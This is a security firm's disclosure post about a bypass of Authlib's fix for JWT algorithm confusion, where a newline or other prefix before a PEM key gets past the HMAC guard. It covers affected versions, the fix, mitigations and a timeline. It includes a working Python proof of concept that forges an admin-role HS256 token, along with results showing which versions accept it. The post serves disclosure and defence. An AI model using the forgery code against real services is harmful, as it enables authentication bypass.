Research
Off by One Newline: How Authlib's JWT Algorithm Confusion Came Back
As far as most scanners are concerned, CVE-2024-37568 has been closed since June 2024. That month Authlib 1.3.1 added a check that refuses to use an RSA or EC public key as an HMAC secret, which is the whole of JWT algorithm confusion. The check looks at the first bytes of the key and nowhere else. Put a newline in front of the PEM, which a triple-quoted Python string does for you, and the 2024 attack works again, unchanged, on every release from 1.3.1 through 1.8.0.
We reported that to the Authlib maintainers on 30 September through GitHub’s private vulnerability reporting. They fixed it in 1.9.0 on 14 October, and GitHub published the CVE record today. Authlib is not a niche package: pypistats counted about 103 million downloads in the month before we reported.
- Advisory: GHSA-7vr2-2fgp-9w7p, CVSS 3.1 7.4 (High), CWE-184 and CWE-347
- CVE: CVE-2026-114615
- Fixed in: authlib 1.9.0, released 14 October 2026
Algorithm confusion in one paragraph
A JWT names its own signing algorithm in the alg field of its header. With RS256 the issuer signs with a private key and everyone else verifies with the matching public key; with HS256 a single shared secret does both jobs. Suppose a library lets the token pick between the two and the application hands it the issuer’s public key. An attacker writes "alg": "HS256", computes an HMAC over the token with the public key’s bytes as the secret, and the library, told to check HS256 against “the key”, repeats the same computation over the same bytes and gets the same answer. Public keys are public by design (identity providers serve theirs at a well-known URL), so the attacker can sign anything.
PyJWT (CVE-2022-29217) and python-jose (CVE-2024-33663) have both had versions of this, and the 2024 Authlib advisory names them.
Authlib’s documented setup is exposed to it out of the box. from authlib.jose import jwt gives you an object whose algorithm list holds HS256, HS384 and HS512 next to RS256, ES256, PS256 and EdDSA, and its decode() takes no algorithms argument, so a caller can’t narrow that list. The docs do warn about this, and say not to mix symmetric and asymmetric algorithms. For everyone who copies the first example anyway, the protection is the guard added for CVE-2024-37568.
The 2024 guard
Issue #654, which became CVE-2024-37568, asked for the same fix PyJWT had shipped and linked to PyJWT’s code. That code recognises a PEM key with a regular expression and re.search(), which scans the whole input. Authlib 1.3.1 shipped this instead, in authlib/jose/rfc7518/oct_key.py:
POSSIBLE_UNSAFE_KEYS = (
b"-----BEGIN ",
b"---- BEGIN ",
b"ssh-rsa ",
b"ssh-dss ",
b"ssh-ed25519 ",
b"ecdsa-sha2-",
)
# in OctKey.import_key()
raw_key = to_bytes(raw)
# security check
if raw_key.startswith(POSSIBLE_UNSAFE_KEYS):
raise ValueError("This key may not be safe to import")
bytes.startswith() looks at offset 0 and stops. And every HMAC key in authlib.jose’s signature code passes through OctKey.import_key(), so that one if is all that stands between a mixed algorithm list and a public key becoming an HMAC secret.
Two parsers, one key
When the same key text goes down the RS256 path, Authlib hands it to cryptography, whose load_pem_public_key() and load_pem_x509_certificate() search forward for the -----BEGIN line and ignore anything in front of it. That leaves a set of byte strings the RSA path loads as a public key and the HMAC guard doesn’t recognise as one. Every member of that set is a working forgery key.
Nobody has to build one on purpose, either. This is how a lot of Python code embeds a key:
PUBLIC_KEY = """
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
-----END PUBLIC KEY-----
"""
That string starts with \n. Put the same literal inside a class body and every line also picks up four spaces of indentation. A .pem file saved by a Windows editor can open with a UTF-8 byte order mark, and some teams write a comment line above the key to say where it came from. We tried all of those with RSA and EC keys, and with X.509 certificates as well as bare public keys. In every case genuine RS256 and ES256 tokens still verified, so the application kept working and nothing in the logs looked wrong.
Who is affected
All three of these have to hold:
- authlib 1.3.1 through 1.8.0 is installed. Older releases are affected by CVE-2024-37568 itself, prefix or not.
authlib.josedecodes tokens with an algorithm list that contains both an HS algorithm and an asymmetric one. The module-leveljwtobject has exactly that list; aJsonWebToken(["RS256"])instance doesn’t.- The verification key reaches
decode()as PEM or certificate text whose first bytes aren’t-----BEGIN.
The attacker needs a copy of the public key and nothing more: no account, no secret, no user interaction. The published score uses AC:H, and that fits, since the key’s formatting is something about your deployment that the attacker can’t choose.
Applications that verify with a JWK or a JWKS document instead of PEM text stay off this path. Against 1.8.0 we tried an RSA JWK dict, a JWKS dict, a KeySet, and an RSAKey built with JsonWebKey.import_key() from the prefixed PEM; each one rejected the forged HS256 token. joserfc, which the Authlib maintainers recommend over authlib.jose, won’t take a raw string as a key at all, and refuses HS256 with a typed RSA key.
To see which version you have:
pip show authlib
Reproduction
We re-ran the report today against authlib 1.3.0, 1.3.1, 1.8.0, 1.9.0 and 1.9.1, with cryptography 50.0.2 on Python 3.12. The attacker side doesn’t use Authlib at all; it’s one HMAC:
import base64, hashlib, hmac, json
from authlib.jose import jwt
def b64(b):
return base64.urlsafe_b64encode(b).rstrip(b"=")
header = b64(json.dumps({"alg": "HS256"}).encode())
claims = b64(json.dumps({"sub": "attacker", "role": "admin"}).encode())
signing_input = header + b"." + claims
signature = hmac.new(PUBLIC_KEY.encode(), signing_input, hashlib.sha256).digest()
forged = signing_input + b"." + b64(signature)
jwt.decode(forged, PUBLIC_KEY)
PUBLIC_KEY is a triple-quoted string like the one above. Here is 1.8.0 with an RSA-2048 public key; EC P-256 keys and X.509 certificates gave identical rows:
key form genuine RS256 forged HS256
canonical PEM verifies ValueError: This key may not be safe to import
leading newline verifies accepted {'sub': 'attacker', 'role': 'admin'}
leading space verifies accepted
4-space indent verifies accepted
UTF-8 BOM verifies accepted
comment line verifies accepted
The canonical row is the control. It shows the guard working when the key starts at byte 0, which pins the bypass on the prefix and nothing else. A second control, JsonWebToken(["RS256"]).decode() on the same forged token, raised UnsupportedAlgorithmError on every version we tested.
1.3.0 accepted the forged token for all six forms, canonical included; that’s CVE-2024-37568 itself. 1.3.1 matched 1.8.0 row for row. On 1.9.0 and 1.9.1 every forged token stopped at the ValueError, and every genuine token still verified.
The fix
Hsiaoming Yang fixed it in PR #945 (commit e3bd41c), and azmeuk reviewed it. The check moved into its own method and now looks for the markers anywhere in the key:
+ @staticmethod
+ def _check_key(raw_key):
+ # PEM parsers accept leading text, including comments and whitespace.
+ if any(marker in raw_key for marker in POSSIBLE_UNSAFE_KEYS):
+ raise ValueError("This key may not be safe to import")
It also runs in get_op_key(), at the moment the key is used, not only when it’s imported. That catches two routes our report didn’t cover: an oct JWK whose k value decodes to PEM text, and an OctKey built some other way. In our run the JWK route forged on 1.8.0 and fails on 1.9.0. The PR adds a test that tries five prefixes against all three ways of supplying the key.
The same PR carries two unrelated fixes, and one is a breaking change worth knowing about before you upgrade. JWTBearerGrant.get_audiences() must now return a non-empty list, and an authorization server that never configured audiences will reject RFC 7523 assertions with invalid_grant. The other limits OIDC implicit and hybrid responses to the client’s allowed scope.
What to do
Upgrade
Move to authlib 1.9.0 or later. 1.9.1, released the same day, only changes how the changelog is built. If you run an OAuth 2.0 authorization server that accepts the JWT bearer grant, implement get_audiences() before you deploy the upgrade.
Pin the algorithm anyway
Upgrading closes this bug. Pinning the algorithm closes the whole class, because a verifier that only accepts RS256 never has to decide whether your public key might be an HMAC secret:
from authlib.jose import JsonWebToken
jwt = JsonWebToken(["RS256"])
claims = jwt.decode(token, PUBLIC_KEY)
Authlib’s own docs recommend this, and it’s the control that stopped the forged token on every version, the vulnerable ones included. If an upgrade has to wait, make this change now. Don’t rely on tidying the key text instead: .strip() removes the newline and the indentation, but leaves a byte order mark or a comment line where it was.
Use typed keys
Load the key once with JsonWebKey.import_key(), or fetch the issuer’s JWKS, and pass that object to decode(). An RSAKey knows it’s an RSA key, so it never gets reread as a string of bytes. For new code the maintainers point to joserfc; authlib.jose already prints a deprecation warning saying so.
Why this keeps happening
Line up the titles. PyJWT’s 2022 advisory reads “Key confusion through non-blocklisted public key formats”. python-jose’s from 2024 reads “algorithm confusion with OpenSSH ECDSA keys”. The record for this one calls it a bypass of the remediation for CVE-2024-37568. Each is a key the HMAC check failed to recognise and the asymmetric loader read without complaint. In all three libraries, two separate pieces of code answer the same question, “is this a public key?”, and an attacker only needs them to disagree once.
That’s the thing to look for when you review a fix like this. Whether the check blocks the key from the bug report tells you very little; the 2024 check blocked a PEM starting at byte 0 and nothing else the loader would read. The question is whether the check and the parser agree on every input, and for application code, the cheaper answer is to make sure the question never comes up: pin the algorithm.
Disclosure timeline
- 3 June 2024: issue #654 reports the original algorithm confusion, later CVE-2024-37568
- 4 June 2024: authlib 1.3.1 ships the
startswith()guard - 30 September 2026: we reported the bypass through GitHub private vulnerability reporting, reproduced on 1.8.0 and on
main - 9 October 2026: PR #945 merged
- 14 October 2026: authlib 1.9.0 released and GHSA-7vr2-2fgp-9w7p published
- 22 October 2026: GitHub assigned CVE-2026-114615 and published the CVE record
Thanks to Hsiaoming Yang for the fix and the broader test, to azmeuk for the review and for publishing the advisory, and to milliesolem, whose 2024 report is where this story starts.
References
- GHSA-7vr2-2fgp-9w7p, the Authlib advisory
- CVE-2026-114615
- Fix: PR #945, commit
e3bd41c, released in 1.9.0 - The original: CVE-2024-37568 and issue #654
- The same class elsewhere: PyJWT CVE-2022-29217, python-jose CVE-2024-33663
- Authlib JWT documentation
If your services accept tokens from an identity provider and you’d like someone to try forging them before an attacker does, that’s part of our penetration testing work.